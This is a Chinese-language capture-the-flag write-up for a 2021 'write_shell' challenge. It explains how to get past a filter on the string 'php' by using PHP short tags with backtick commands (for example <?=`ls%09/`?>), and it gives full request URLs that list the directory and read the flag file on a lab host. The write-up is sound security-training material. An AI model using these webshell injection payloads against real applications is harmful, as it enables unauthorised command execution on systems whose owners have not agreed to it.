[红明谷CTF 2021]write_shell

image-20240601200338439

思路就很简单,先通过最后的file_put_content函数写入东西,在从dir中读取

所以也就是通过data参数进行命令执行

思路很快就有了,但是,在尝试了各种命令执行语句还是不行之后察觉到了不对劲

这题由于写入的文件是后缀名为php的,也就是说我们的语法就得满足php,并且达到命令执行的点(醍醐灌顶)

所以说,我们的语句要是

<?php php?>

这种,但是可以看到前面过滤了php

所以这我们使用

php短标签

php短标签

<? echo '123';?> #前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。

使用

<?=`ls`;?>

image-20240601201109261

发现这个

所以也就是命令执行成功,ok

http://794f11d3-a7c2-407e-9ac8-0b89ea929d56.node5.buuoj.cn:81/?data=<?=`ls%09/`?>&action=upload

得到

image-20240601201425241

最后读取可疑文件

http://794f11d3-a7c2-407e-9ac8-0b89ea929d56.node5.buuoj.cn:81/?data=<?=`cat%09/flllllll1112222222lag`?>&action=upload

得到flag